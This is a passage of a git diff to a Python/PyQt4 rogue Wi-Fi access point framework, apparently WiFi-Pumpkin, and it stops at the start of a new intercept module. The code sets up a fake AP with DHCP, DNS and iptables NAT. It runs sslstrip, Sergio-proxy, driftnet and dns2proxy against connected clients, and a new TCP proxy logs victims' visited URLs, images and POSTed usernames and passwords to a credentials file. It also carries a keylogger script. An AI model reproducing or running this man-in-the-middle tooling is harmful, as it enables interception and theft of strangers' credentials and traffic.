+ def set_StatusConnected_Iface(self,bool,txt=''):
+ if bool:
+ self.connected_status.setText(txt)
+ self.connected_status.setStyleSheet("QLabel { background-color: #996633; color : #000000; }")
+ else:
+ self.connected_status.setText('None')
+ self.connected_status.setStyleSheet("QLabel { background-color: #808080; color : #000000; }")
+
def StatusDHCPRequests(self,mac,user_info):
''' get HDCP request data and send for Tab monitor '''
return self.PumpMonitorTAB.addRequests(mac,user_info,True)
@@ -938,7 +981,7 @@ def mConfigure(self):
except Exception :pass
self.EditApName.setText(self.FSettings.Settings.get_setting('accesspoint','ssid'))
self.EditChannel.setValue(self.FSettings.Settings.get_setting('accesspoint','channel',format=int))
- self.ConfigTwin['PortRedirect'] = self.FSettings.redirectport.text()
+ self.SettingsEnable['PortRedirect'] = self.FSettings.redirectport.text()
# get all Wireless Adapter available and add in comboBox
interfaces = self.get_interfaces['all']
@@ -947,6 +990,13 @@ def mConfigure(self):
if search('wl', iface):
wireless.append(iface)
self.selectCard.addItems(wireless)
+
+ if self.get_interfaces['activated'][0]:
+ self.set_StatusConnected_Iface(True,self.get_interfaces['activated'][0])
+ else:
+ self.InternetShareWiFi = False
+ self.set_StatusConnected_Iface(False,'')
+
interface = self.FSettings.Settings.get_setting('accesspoint','interfaceAP')
if interface != 'None' and interface in self.get_interfaces['all']:
self.selectCard.setCurrentIndex(wireless.index(interface))
@@ -957,7 +1007,7 @@ def mConfigure(self):
hostapd = popen('which hostapd').read().split("\n")
xterm = popen('which xterm').read().split("\n")
lista = [ '', '',driftnet[0],dhcpd[0],'',hostapd[0],xterm[0]]
- for i in lista:self.ConfigTwin['ProgCheck'].append(path.isfile(i))
+ for i in lista:self.SettingsEnable['ProgCheck'].append(path.isfile(i))
def refrash_interface(self):
@@ -977,10 +1027,6 @@ def Stop_PumpAP(self):
self.SessionsAP[self.currentSessionID]['stoped'] = asctime()
self.FSettings.Settings.set_setting('accesspoint','sessions',dumps(self.SessionsAP))
# check if dockArea activated and stop dock Area
- if hasattr(self,'dockAreaList'):
- for dock in self.dockAreaList.keys():
- self.dockAreaList[dock].clear()
- self.dockAreaList[dock].stopProcess()
self.PumpSettingsTAB.GroupArea.setEnabled(True)
# stop all Thread in create for Access Point
try:
@@ -993,10 +1039,12 @@ def Stop_PumpAP(self):
# remove iptables commands and stop dhcpd if pesist in process
for kill in self.SettingsAP['kill']:
Popen(kill.split(), stdout=PIPE,shell=False,stderr=PIPE)
+ #disabled options
# check if persistent option in Settigs is enable
- if not self.FSettings.Settings.get_setting('accesspoint','persistNetwokManager',format=bool):
- Refactor.settingsNetworkManager(self.ConfigTwin['AP_iface'],Remove=True)
- set_monitor_mode(self.ConfigTwin['AP_iface']).setDisable()
+ #if not self.FSettings.Settings.get_setting('accesspoint','persistNetwokManager',format=bool):
+ # Refactor.settingsNetworkManager(self.SettingsEnable['AP_iface'],Remove=True)
+
+ set_monitor_mode(self.SettingsEnable['AP_iface']).setDisable()
self.Started(False)
self.progress.setValue(1)
self.progress.change_color('')
@@ -1024,7 +1072,6 @@ def Stop_PumpAP(self):
self.FormPopup.Ftemplates.killThread()
self.FormPopup.StatusServer(False)
self.EditApName.setEnabled(True)
- self.EditGateway.setEnabled(True)
self.selectCard.setEnabled(True)
self.EditChannel.setEnabled(True)
self.GroupApPassphrase.setEnabled(True)
@@ -1032,30 +1079,33 @@ def Stop_PumpAP(self):
self.PopUpPlugins.tableplugins.setEnabled(True)
self.PopUpPlugins.tableplugincheckbox.setEnabled(True)
self.btn_cancelar.setEnabled(False)
+ self.progress.showProcessBar()
def delete_logger(self):
''' delete all logger file in logs/ '''
content = Refactor.exportHtml()
- if listdir('logs')!= '':
- resp = QMessageBox.question(self, 'About Delete Logger',
- 'do you want to delete logs?',QMessageBox.Yes |
- QMessageBox.No, QMessageBox.No)
- if resp == QMessageBox.Yes:
- Popen(['rm','logs/Caplog/*.cap'], stdout=PIPE,shell=False,stderr=PIPE)
- for keyFile in content['Files']:
- with open(keyFile,'w') as f:
- f.write(''),f.close()
- self.FSettings.Settings.set_setting('accesspoint','sessions',dumps({}))
- QMessageBox.information(self,'Logger','All Looger::Output has been Removed...')
+ resp = QMessageBox.question(self, 'About Delete Logger',
+ 'do you want to delete logs?',QMessageBox.Yes |
+ QMessageBox.No, QMessageBox.No)
+ if resp == QMessageBox.Yes:
+ Popen(['rm','logs/Caplog/*.cap'], stdout=PIPE,shell=False,stderr=PIPE)
+ if len(listdir('logs/ImagesCap')) != 1:
+ Popen(['rm', 'logs/ImagesCap/*.png'], stdout=PIPE, shell=False, stderr=PIPE)
+ Popen(['rm', 'logs/ImagesCap/*.jpg'], stdout=PIPE, shell=False, stderr=PIPE)
+ for keyFile in content['Files']:
+ with open(keyFile,'w') as f:
+ f.write(''),f.close()
+ self.FSettings.Settings.set_setting('accesspoint','sessions',dumps({}))
+ QMessageBox.information(self,'Logger','All Looger::Output has been Removed...')
def start_dift(self):
''' start tool driftnet in Thread '''
- if self.ConfigTwin['ProgCheck'][2]:
- if self.ConfigTwin['ProgCheck'][6]:
+ if self.SettingsEnable['ProgCheck'][2]:
+ if self.SettingsEnable['ProgCheck'][6]:
if self.FSettings.Settings.get_setting('accesspoint','statusAP',format=bool):
Thread_driftnet = ThreadPopen(['driftnet', '-i',
- self.ConfigTwin['AP_iface'],'-d','./logs/Tools/Driftnet/',])
+ self.SettingsEnable['AP_iface'],'-d','./logs/Tools/Driftnet/',])
Thread_driftnet.setObjectName('Tool::Driftnet')
self.Apthreads['RougeAP'].append(Thread_driftnet)
return Thread_driftnet.start()
@@ -1066,16 +1116,14 @@ def start_dift(self):
def CoreSettings(self):
''' configure interface and dhcpd for mount Access Point '''
- self.splitcodeURL = self.AreaDockInfo['HTTP-Requests']['splitcode']
- self.splitcodeCRED = self.AreaDockInfo['HTTP-Authentication']['splitcode']
self.DHCP = self.PumpSettingsTAB.getPumpkinSettings()
- self.ConfigTwin['PortRedirect'] = self.FSettings.Settings.get_setting('settings','redirect_port')
+ self.SettingsEnable['PortRedirect'] = self.FSettings.Settings.get_setting('settings','redirect_port')
self.SettingsAP = {
'interface':
[
- 'ifconfig %s up'%(self.ConfigTwin['AP_iface']),
- 'ifconfig %s %s netmask %s'%(self.ConfigTwin['AP_iface'],self.DHCP['router'],self.DHCP['netmask']),
- 'ifconfig %s mtu 1400'%(self.ConfigTwin['AP_iface']),
+ 'ifconfig %s up'%(self.SettingsEnable['AP_iface']),
+ 'ifconfig %s %s netmask %s'%(self.SettingsEnable['AP_iface'],self.DHCP['router'],self.DHCP['netmask']),
+ 'ifconfig %s mtu 1400'%(self.SettingsEnable['AP_iface']),
'route add -net %s netmask %s gw %s'%(self.DHCP['subnet'],
self.DHCP['netmask'],self.DHCP['router'])
],
@@ -1085,7 +1133,7 @@ def CoreSettings(self):
'iptables --table nat --flush',
'iptables --delete-chain',
'iptables --table nat --delete-chain',
- 'ifconfig %s 0'%(self.ConfigTwin['AP_iface']),
+ 'ifconfig %s 0'%(self.SettingsEnable['AP_iface']),
'killall dhpcd',
],
'hostapd':
@@ -1110,7 +1158,7 @@ def CoreSettings(self):
],
'dnsmasq':
[
- 'interface=%s\n'%(self.ConfigTwin['AP_iface']),
+ 'interface=%s\n'%(self.SettingsEnable['AP_iface']),
'dhcp-range=10.0.0.1,10.0.0.50,12h\n',
'dhcp-option=3, 10.0.0.1\n',
'dhcp-option=6, 10.0.0.1\n',
@@ -1141,7 +1189,7 @@ def SoftDependencies(self):
if not path.isfile(self.hostapd_path):
return QMessageBox.information(self,'Error Hostapd','hostapd is not installed')
if self.FSettings.Settings.get_setting('accesspoint','dhcpd_server',format=bool):
- if not self.ConfigTwin['ProgCheck'][3]:
+ if not self.SettingsEnable['ProgCheck'][3]:
return QMessageBox.warning(self,'Error dhcpd','isc-dhcp-server (dhcpd) is not installed')
return True
@@ -1198,10 +1246,6 @@ def Start_PumpAP(self):
# check connection with internet
self.interfacesLink = Refactor.get_interfaces()
- if len(self.EditGateway.text()) == 0 or self.interfacesLink['activated'][0] == None:
- return QMessageBox.warning(self,'Internet Connection','No internet connection not found, '
- 'sorry WiFi-Pumpkin tool requires an internet connection to mount MITM attack. '
- 'check your connection and try again')
# check if Wireless interface is being used
if str(self.selectCard.currentText()) == self.interfacesLink['activated'][0]:
@@ -1214,15 +1258,6 @@ def Start_PumpAP(self):
' for create AP or try use with local connetion(Ethernet).'.format(
str(self.selectCard.currentText()),line))
- # check if kali linux is using wireless interface for share internet
- if self.interfacesLink['activated'][1] == 'wireless' and dist()[0] == 'Kali':
- return QMessageBox.information(self,'Network Information',
- "The Kali Linux don't have support to use with 2 wireless"
- "(1 for connected internet/2 for WiFi-Pumpkin AP)."
- " because does not exclude correctly "
- "adapter in '/etc/NetworkManager/NetworkManager.conf'.\n\n"
- "( if you have any solution for this send me feedback ).")
-
# check if range ip class is same
dh, gateway = self.PumpSettingsTAB.getPumpkinSettings()['router'],str(self.EditGateway.text())
if dh[:len(dh)-len(dh.split('.').pop())] == gateway[:len(gateway)-len(gateway.split('.').pop())]:
@@ -1249,11 +1284,21 @@ def Start_PumpAP(self):
self.SessionsAP[self.currentSessionID]['started'] = asctime()
print('[*] Current Session::ID [{}]'.format(self.currentSessionID))
+ # clear before session
+ if hasattr(self,'dockAreaList'):
+ for dock in self.dockAreaList.keys():
+ self.dockAreaList[dock].clear()
+ self.dockAreaList[dock].stopProcess()
+ self.PumpkinProxyTAB.tableLogging.clearContents()
+ self.ImageCapTAB.TableImage.clear()
+ self.ImageCapTAB.TableImage.setRowCount(0)
+
# check if using ethernet or wireless connection
print('[*] Configuring hostapd...')
- self.ConfigTwin['AP_iface'] = str(self.selectCard.currentText())
- set_monitor_mode(self.ConfigTwin['AP_iface']).setDisable()
- if self.interfacesLink['activated'][1] == 'ethernet' or self.interfacesLink['activated'][1] == 'ppp':
+ self.SettingsEnable['AP_iface'] = str(self.selectCard.currentText())
+ set_monitor_mode(self.SettingsEnable['AP_iface']).setDisable()
+ if self.interfacesLink['activated'][1] == 'ethernet' or self.interfacesLink['activated'][1] == 'ppp' \
+ or self.interfacesLink['activated'][0] == None: #allow use without internet connection
# change Wi-Fi state card
Refactor.kill_procInterfaceBusy() # killing network process
try:
@@ -1265,11 +1310,12 @@ def Start_PumpAP(self):
return QMessageBox.warning(self,'Error nmcli',str(error))
finally:
call(['rfkill', 'unblock' ,'wifi'])
- elif self.interfacesLink['activated'][1] == 'wireless':
- # exclude USB wireless adapter in file NetworkManager
- if not Refactor.settingsNetworkManager(self.ConfigTwin['AP_iface'],Remove=False):
- return QMessageBox.warning(self,'Network Manager',
- 'Not found file NetworkManager.conf in folder /etc/NetworkManager/')
+
+ #elif self.interfacesLink['activated'][1] == 'wireless':
+ # # exclude USB wireless adapter in file NetworkManager
+ # if not Refactor.settingsNetworkManager(self.SettingsEnable['AP_iface'],Remove=False):
+ # return QMessageBox.warning(self,'Network Manager',
+ # 'Not found file NetworkManager.conf in folder /etc/NetworkManager/')
# create dhcpd.leases and set permission for acesss DHCPD
leases = '/var/lib/dhcp/dhcpd.leases'
@@ -1304,7 +1350,6 @@ def Start_PumpAP(self):
# disable options when started AP
self.btn_start_attack.setDisabled(True)
self.EditApName.setEnabled(False)
- self.EditGateway.setEnabled(False)
self.selectCard.setEnabled(False)
self.EditChannel.setEnabled(False)
self.GroupApPassphrase.setEnabled(False)
@@ -1317,26 +1362,28 @@ def Start_PumpAP(self):
print('[*] Configuring dhcpd...')
if self.FSettings.Settings.get_setting('accesspoint','dhcpd_server',format=bool):
self.Thread_dhcp = ThRunDhcp(['dhcpd','-d','-f','-lf','/var/lib/dhcp/dhcpd.leases','-cf',
- '/etc/dhcp/dhcpd.conf',self.ConfigTwin['AP_iface']],self.currentSessionID)
+ '/etc/dhcp/dhcpd.conf',self.SettingsEnable['AP_iface']],self.currentSessionID)
self.Thread_dhcp.sendRequest.connect(self.GetDHCPRequests)
self.Thread_dhcp.setObjectName('DHCP')
self.Apthreads['RougeAP'].append(self.Thread_dhcp)
self.PopUpPlugins.checkGeneralOptions() # check rules iptables
elif self.FSettings.Settings.get_setting('accesspoint','pydhcp_server',format=bool):
- #self.ThreadDNSServer = DNSServer(self.ConfigTwin['AP_iface'],self.DHCP['router'])
- #self.ThreadDNSServer.setObjectName('DNSServer')
- # I change DNSServer for dns2proxy for now.
- self.ThreadDNSServer = ProcessThread({'python':['plugins/external/dns2proxy/dns2proxy.py','-i',
- str(self.selectCard.currentText()),'-k',self.currentSessionID]})
- self.ThreadDNSServer._ProcssOutput.connect(self.get_dns2proxy_output)
- self.ThreadDNSServer.setObjectName('DNSServer')
+ if self.FSettings.Settings.get_setting('accesspoint','pydns_server',format=bool):
+ self.ThreadDNSServer = DNSServer(self.SettingsEnable['AP_iface'],self.DHCP['router'])
+ self.ThreadDNSServer.setObjectName('DNSServer') # use DNS python implements
+
+ elif self.FSettings.Settings.get_setting('accesspoint','dnsproxy_server',format=bool):
+ self.ThreadDNSServer = ProcessThread({'python':['plugins/external/dns2proxy/dns2proxy.py','-i',
+ str(self.selectCard.currentText()),'-k',self.currentSessionID]})
+ self.ThreadDNSServer._ProcssOutput.connect(self.get_dns2proxy_output)
+ self.ThreadDNSServer.setObjectName('DNSServer') # use dns2proxy as DNS server
if not self.PopUpPlugins.check_dns2proy.isChecked():
self.Apthreads['RougeAP'].append(self.ThreadDNSServer)
#self.PopUpPlugins.set_Dns2proxyRule() # disabled :: redirect UDP port 53
- self.ThreadDHCPserver = DHCPServer(self.ConfigTwin['AP_iface'],self.DHCP)
+ self.ThreadDHCPserver = DHCPServer(self.SettingsEnable['AP_iface'],self.DHCP)
self.ThreadDHCPserver.sendConnetedClient.connect(self.GetDHCPDiscoverInfo)
self.ThreadDHCPserver.setObjectName('DHCPServer')
self.Apthreads['RougeAP'].append(self.ThreadDHCPserver)
@@ -1358,12 +1405,16 @@ def Start_PumpAP(self):
if not self.THReactor.isRunning():
self.THReactor.start()
- if self.PopUpPlugins.check_netcreds.isChecked():
- self.Thread_netcreds = ProcessThread({'python':['plugins/external/net-creds/net-creds.py','-i',
- str(self.selectCard.currentText()),'-k',self.currentSessionID]})
- self.Thread_netcreds._ProcssOutput.connect(self.get_netcreds_output)
- self.Thread_netcreds.setObjectName('Net-Creds')
- self.Apthreads['RougeAP'].append(self.Thread_netcreds)
+ #create logging for somes threads
+ setup_logger('pumpkinproxy', 'logs/AccessPoint/pumpkin-proxy.log', self.currentSessionID)
+ setup_logger('urls_capture', 'logs/AccessPoint/urls.log', self.currentSessionID)
+ setup_logger('creds_capture', 'logs/AccessPoint/credentials.log', self.currentSessionID)
+ setup_logger('tcp_proxy', 'logs/AccessPoint/tcp-proxy.log', self.currentSessionID)
+ self.LogPumpkinproxy = getLogger('pumpkinproxy')
+ self.LogUrlMonitor = getLogger('urls_capture')
+ self.LogCredsMonitor = getLogger('creds_capture')
+ self.LogTcpproxy = getLogger('tcp_proxy')
+
if self.PopUpPlugins.check_responder.isChecked():
# create thread for plugin responder
@@ -1384,14 +1435,14 @@ def Start_PumpAP(self):
self.Apthreads['RougeAP'].append(self.Thread_dns2proxy)
# create thread for plugin SSLstrip
- self.Threadsslstrip = Thread_sslstrip(self.ConfigTwin['PortRedirect'],
+ self.Threadsslstrip = Thread_sslstrip(self.SettingsEnable['PortRedirect'],
self.plugins,self.ProxyPluginsTAB._PluginsToLoader,self.currentSessionID)
self.Threadsslstrip.setObjectName("sslstrip2")
self.Apthreads['RougeAP'].append(self.Threadsslstrip)
elif self.PopUpPlugins.check_sergioProxy.isChecked():
# create thread for plugin Sergio-proxy
- self.Threadsslstrip = Thread_sergioProxy(self.ConfigTwin['PortRedirect'],
+ self.Threadsslstrip = Thread_sergioProxy(self.SettingsEnable['PortRedirect'],
self.plugins,self.ProxyPluginsTAB._PluginsToLoader,self.currentSessionID)
self.Threadsslstrip.setObjectName("sslstrip")
self.Apthreads['RougeAP'].append(self.Threadsslstrip)
@@ -1406,33 +1457,40 @@ def Start_PumpAP(self):
elif self.PopUpPlugins.check_pumpkinProxy.isChecked():
# create thread for plugin Pumpkin-Proxy
- setup_logger('pumpkinproxy', 'logs/AccessPoint/pumpkin-proxy.log',self.currentSessionID)
self.Thread_PumpkinProxy = ThreadPumpkinProxy(self.currentSessionID)
self.Thread_PumpkinProxy.send.connect(self.get_PumpkinProxy_output)
self.Thread_PumpkinProxy.setObjectName('Pumpkin-Proxy')
self.Apthreads['RougeAP'].append(self.Thread_PumpkinProxy)
- self.LogPumpkinproxy = getLogger('pumpkinproxy')
+ # start thread TCPproxy Module
+ if self.PopUpPlugins.check_tcpproxy.isChecked():
+ self.Thread_TCPproxy = ThreadSniffingPackets(str(self.selectCard.currentText()),self.currentSessionID)
+ self.Thread_TCPproxy.setObjectName('TCPProxy')
+ self.Thread_TCPproxy.output_plugins.connect(self.get_TCPproxy_output)
+ self.Apthreads['RougeAP'].append(self.Thread_TCPproxy)
+
+ if self.InternetShareWiFi:
+ print('[*] Sharing Internet Connections with NAT...')
iptables = []
# get all rules in settings->iptables
for index in xrange(self.FSettings.ListRules.count()):
iptables.append(str(self.FSettings.ListRules.item(index).text()))
for rulesetfilter in iptables:
- if '$inet' in rulesetfilter:
- rulesetfilter = rulesetfilter.replace('$inet',str(Refactor.get_interfaces()['activated'][0]))
- if '$wlan' in rulesetfilter:
- rulesetfilter = rulesetfilter.replace('$wlan',self.ConfigTwin['AP_iface'])
- popen(rulesetfilter)
- print('[*] Sharing Internet Connections with NAT...')
+ if self.InternetShareWiFi: # disable share internet from network
+ if '$inet' in rulesetfilter:
+ rulesetfilter = rulesetfilter.replace('$inet',str(Refactor.get_interfaces()['activated'][0]))
+ if '$wlan' in rulesetfilter:
+ rulesetfilter = rulesetfilter.replace('$wlan',self.SettingsEnable['AP_iface'])
+ if not ('$inet' in rulesetfilter or 'wlan' in rulesetfilter):
+ popen(rulesetfilter)
# start all Thread in sessions
- self.progress.change_color('#FFA500')
for thread in self.Apthreads['RougeAP']:
self.progress.update_bar_simple(20)
QThread.sleep(1)
thread.start()
self.progress.setValue(100)
- self.progress.change_color('#FFA500')
+ self.progress.hideProcessbar()
# check if Advanced mode is enable
if self.FSettings.Settings.get_setting('dockarea','advanced',format=bool):
self.PumpSettingsTAB.doCheckAdvanced()
@@ -1444,15 +1502,6 @@ def Start_PumpAP(self):
self.FSettings.Settings.set_setting('accesspoint','ssid',str(self.EditApName.text()))
self.FSettings.Settings.set_setting('accesspoint','channel',str(self.EditChannel.value()))
- def get_netcreds_output(self,data):
- ''' get std_ouput the thread Netcreds and add in DockArea '''
- if self.FSettings.Settings.get_setting('accesspoint','statusAP',format=bool):
- if hasattr(self,'dockAreaList'):
- if self.PumpSettingsTAB.dockInfo['HTTP-Requests']['active'] and self.splitcodeURL in data:
- self.dockAreaList['HTTP-Requests'].writeModeData(str(data).split(self.splitcodeURL)[1])
- if self.PumpSettingsTAB.dockInfo['HTTP-Authentication']['active'] and self.splitcodeCRED in data:
- self.dockAreaList['HTTP-Authentication'].writeModeData(data)
-
def get_dns2proxy_output(self,data):
''' get std_ouput the thread dns2proxy and add in DockArea '''
if self.FSettings.Settings.get_setting('accesspoint','statusAP',format=bool):
@@ -1491,10 +1540,30 @@ def get_bdfproxy_output(self,data):
def get_PumpkinProxy_output(self,data):
''' get std_ouput the thread Pumpkin-Proxy and add in DockArea '''
if self.FSettings.Settings.get_setting('accesspoint','statusAP',format=bool):
+ self.PumpkinProxyTAB.tableLogging.writeModeData(data)
+ self.LogPumpkinproxy.info(data)
+
+ def get_TCPproxy_output(self,data):
+ ''' get std_output from thread TCPproxy module and add in DockArea'''
+ if self.FSettings.Settings.get_setting('accesspoint', 'statusAP', format=bool):
if hasattr(self,'dockAreaList'):
- if self.PumpSettingsTAB.dockInfo['PumpkinProxy']['active']:
- self.dockAreaList['PumpkinProxy'].writeModeData(data)
- self.LogPumpkinproxy.info(data)
+ if data.keys()[0] == 'urlsCap':
+ if self.PumpSettingsTAB.dockInfo['HTTP-Requests']['active']:
+ self.dockAreaList['HTTP-Requests'].writeModeData(data)
+ self.LogUrlMonitor.info('[ {0[src]} > {0[dst]} ] {1[Method]} {1[Host]}{1[Path]}'.format(
+ data['urlsCap']['IP'], data['urlsCap']['Headers']))
+ elif data.keys()[0] == 'POSTCreds':
+ if self.PumpSettingsTAB.dockInfo['HTTP-Authentication']['active']:
+ self.dockAreaList['HTTP-Authentication'].writeModeData(data)
+ self.LogCredsMonitor.info('URL: {}'.format(data['POSTCreds']['Url']))
+ self.LogCredsMonitor.info('UserName: {}'.format(data['POSTCreds']['User']))
+ self.LogCredsMonitor.info('UserName: {}'.format(data['POSTCreds']['Pass']))
+ self.LogCredsMonitor.info('Packets: {}'.format(data['POSTCreds']['Destination']))
+ elif data.keys()[0] == 'image':
+ self.ImageCapTAB.SendImageTableWidgets(data['image'])
+ else:
+ self.PacketSnifferTAB.tableLogging.writeModeData(data)
+ self.LogTcpproxy.info('[{}] {}'.format(data.keys()[0],data[data.keys()[0]]))
def create_sys_tray(self):
''' configure system tray icon for quick access '''
diff --git a/core/packets/dhcpserver.py b/core/packets/dhcpserver.py
index 3937dd7..94e0f6c 100644
--- a/core/packets/dhcpserver.py
+++ b/core/packets/dhcpserver.py
@@ -5,16 +5,27 @@
from collections import defaultdict
from PyQt4.QtCore import QThread,pyqtSignal
import dns.message
+from dns import resolver
class OutOfLeasesError(Exception):
pass
-# Original from http://code.activestate.com/recipes/491264/ (r4)
+
class DNSQuery:
def __init__(self, data):
self.data = data
self.dominio = ''
+ self.RECORD_TYPES = {
+ '\x00\x01': 'A',
+ '\x00\x05': 'CNAME',
+ '\x00\x0f': 'MX',
+ '\x00\x02': 'NS',
+ '\x00\x10': 'TXT',
+ '\x00\x1c': 'AAAA',
+ '\x00\xff': 'ANY',
+ }
+
# Copy Opcode to variable 'tipo'.
tipo = (ord(data[2]) >> 3) & 15
if tipo == 0: # Opcode 0 mean a standard query(QUERY)
@@ -28,14 +39,74 @@ def __init__(self, data):
def respuesta(self, ip):
packet = ''
if self.dominio:
- packet += self.data[:2] + "\x81\x80" # Response & No error.
- packet += self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' # Questions and Answers Counts.
- packet += self.data[12:] # Original Domain Name Question.
- packet += '\xc0\x0c' # A domain name to which this resource record pertains.
- packet += '\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' # type, class, ttl, data-length
+ packet += self.data[:2] + "\x81\x80" # Response & No error.
+ packet += self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' # Questions and Answers Counts.
+ packet += self.data[12:] # Original Domain Name Question.
+ packet += '\xc0\x0c' # A domain name to which this resource record pertains.
+ packet += '\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' # type, class, ttl, data-length
packet += str.join('', map(lambda x: chr(int(x)), ip.split('.')))
return packet
+ def render_packet(self,ip):
+ packet = ''
+ if self.dominio:
+ d = self.data
+ packet += d[:2] # Transaction ID
+ flags = ''
+ flags += '1' # 1=response, 0=query
+ flags += '0000' # opcode, 0=standard query, 1=inverse query, 2=server status request
+ flags += '1' # Authoritative Answer
+ flags += '0' # Trancated response
+ flags += '0' # Recursion Desired
+ flags += '0' # Recursion Available
+ flags += '000' # reserved, have to be 0
+ flags += '0000' # RCode, 0=no error
+ packet += self.bin_to_hex(flags)
+ packet += d[4:6] # Number of Questions
+ packet += d[4:6] # Number of Answer RRs
+ packet += '\x00\x00' # Number of Authority RRs
+ packet += '\x00\x00' # Number of Additional RRs
+ packet += d[12:] # Original Domain Name Question
+ packet += '\xc0\x0c' # NAME (domain)
+ packet += self._get_raw_type() # TYPE
+ packet += '\x00\x01' # CLASS (Internet)
+ packet += self._get_ttl_bytes() # TTL time to live
+ packet += self.int_to_hex(4, zfill=2) # RDLENGTH
+ packet += str.join('', map(lambda x: chr(int(x)), ip.split('.'))) # RDATA
+ return packet
+
+ def make_response(self,data,RCODE=None):
+ qry= dns.message.from_wire(data)
+ resp = dns.message.make_response(qry)
+ resp.flags |= dns.flags.AA
+ resp.flags |= dns.flags.RA
+ resp.set_rcode(RCODE)
+ return resp.to_wire()
+
+ def _get_domainReal(self):
+ return self.dominio[:-1]
+
+ def _get_dnsType(self):
+ return self.RECORD_TYPES.get(self._get_raw_type(), 'Unknown')
+
+ def _get_raw_type(self):
+ return self.data[-4:-2]
+
+ def _get_ttl_bytes(self):
+ return self.int_to_hex(300, zfill=4)
+
+ def int_to_hex(self,value, zfill=None):
+ h = hex(value) # 300 -> '0x12c'
+ h = h[2:].zfill((zfill or 0) * 2) # '0x12c' -> '00012c' if zfill=3
+ return h.decode('hex')
+
+ def bin_to_hex(self,value):
+ # http://stackoverflow.com/questions/2072351/python-conversion-from-binary-string-to-hexadecimal/2072384#2072384
+ # '0000 0100 1000 1101' -> '\x04\x8d'
+ value = value.replace(' ', '')
+ h = '%0*X' % ((len(value) + 3) // 4, int(value, 2))
+ return h.decode('hex')
+
class DNSServer(QThread):
''' Simple DNS server UDP resolver '''
sendRequests = pyqtSignal(object) #I'll use this object in future feature
@@ -44,8 +115,13 @@ def __init__(self, iface, gateway,blockResolverDNS=False):
self.iface = iface
self.DnsLoop = True
self.GatewayAddr = gateway
- self.DataRequest = {'Request':None,'Queries': None} #I'll use this object in future feature
+ self.data_request = {'logger':None,'type':None,
+ 'query': None} #I'll use this object in future feature
self.blockResolverDNS = blockResolverDNS
+ self.Resolver = resolver.Resolver()
+ self.Resolver.nameservers = ['8.8.8.8']
+ self.Resolver.timeout = 1
+ self.Resolver.lifetime = 1
def run(self):
self.dns_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
@@ -70,15 +146,26 @@ def run(self):
#RCODE
except Exception as e:
query = repr(e) # error when resolver DNS
- self.DataRequest['Queries'] = query
- self.DataRequest['Request']='Request %s: -> %s ' % (addr[0],packet.dominio)
+ self.data_request['query'] = query # get query resquest from client
+ self.data_request['type'] = packet._get_dnsType() # get type query
+ self.data_request['logger']='Client [{}]: -> [{}]'.format(addr[0], packet.dominio)
if not self.blockResolverDNS:
try:
- self.RemoteIP = socket.gethostbyname(packet.dominio[:len(packet.dominio)-1]) #get ip website
- self.dns_sock.sendto(packet.respuesta(self.RemoteIP), addr)
- continue
- except Exception: pass
- self.dns_sock.sendto(packet.respuesta(self.GatewayAddr), addr)
+ answers = self.Resolver.query(packet._get_domainReal()) # try resolver domain
+ for rdata in answers: # get real Ipaddress
+ self.dns_sock.sendto(packet.render_packet(rdata.address), addr) #send resquest
+ except dns.resolver.NXDOMAIN: # error domain not found
+ # send domain not exist RCODE 3
+ self.dns_sock.sendto(packet.make_response(data,3), addr)
+ except dns.resolver.Timeout:
+ # unable to respond query RCODE 2
+ self.dns_sock.sendto(packet.make_response(data,2), addr) #timeout
+ except dns.exception.DNSException:
+ # server format ERROR unable to responde #RCODE 1
+ self.dns_sock.sendto(packet.make_response(data,1), addr)
+ continue
+ # I'll use this in future for implements new feature
+ self.dns_sock.sendto(packet.respuesta(self.GatewayAddr), addr) # for next feature
self.dns_sock.close()
def stop(self):
diff --git a/core/servers/proxy/http/__init__.py b/core/servers/proxy/http/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/core/servers/proxy/controller/__init__.py b/core/servers/proxy/http/controller/__init__.py
similarity index 100%
rename from core/servers/proxy/controller/__init__.py
rename to core/servers/proxy/http/controller/__init__.py
diff --git a/core/servers/proxy/controller/handler.py b/core/servers/proxy/http/controller/handler.py
similarity index 92%
rename from core/servers/proxy/controller/handler.py
rename to core/servers/proxy/http/controller/handler.py
index 5e3af2c..2408cf7 100644
--- a/core/servers/proxy/controller/handler.py
+++ b/core/servers/proxy/http/controller/handler.py
@@ -10,7 +10,7 @@
for Pumpkin-Proxy Core.
Copyright:
- Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team
+ Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
@@ -66,19 +66,19 @@ def disablePlugin(self,name, status):
pluginconf = p()
if pluginconf.Name == name:
pluginconf.send_output = self.sendMethod
- print('plugin:{0:17} status:On'.format(name))
+ print('PumpkinProxy::{0:17} status:On'.format(name))
self.plugins.append(pluginconf)
else:
for plugin in self.plugins:
if plugin.Name == name:
- print('plugin:{0:17} status:Off'.format(name))
+ print('PumpkinProxy::{0:17} status:Off'.format(name))
self.plugins.remove(plugin)
def initializePlugins(self):
self.plugin_classes = plugin.PluginTemplate.__subclasses__()
for p in self.plugin_classes:
if self.config.get_setting('plugins',p().Name,format=bool):
- print('plugins::{0:17} status:On'.format(p().Name))
+ print('PumpkinProxy::{0:17} status:On'.format(p().Name))
self.plugins.append(p())
# initialize logging in all plugins enable
#for instance in self.plugins:
diff --git a/core/servers/proxy/scripts/msfkeylogger.js b/core/servers/proxy/http/scripts/msfkeylogger.js
similarity index 100%
rename from core/servers/proxy/scripts/msfkeylogger.js
rename to core/servers/proxy/http/scripts/msfkeylogger.js
diff --git a/core/servers/proxy/tcp/__init__.py b/core/servers/proxy/tcp/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/core/servers/proxy/tcp/intercept.py b/core/servers/proxy/tcp/intercept.py
new file mode 100644
index 0000000..ac1a64b
--- /dev/null
+++ b/core/servers/proxy/tcp/intercept.py
@@ -0,0 +1,154 @@
+from PyQt4.QtCore import QThread,pyqtSignal
+from time import sleep,asctime,strftime
+from BeautifulSoup import BeautifulSoup
+import threading
+from threading import Thread
+import Queue
+from scapy.all import *
+import logging
+from plugins.analyzers import *
+from core.utility.collection import SettingsINI
+
+"""
+Description:
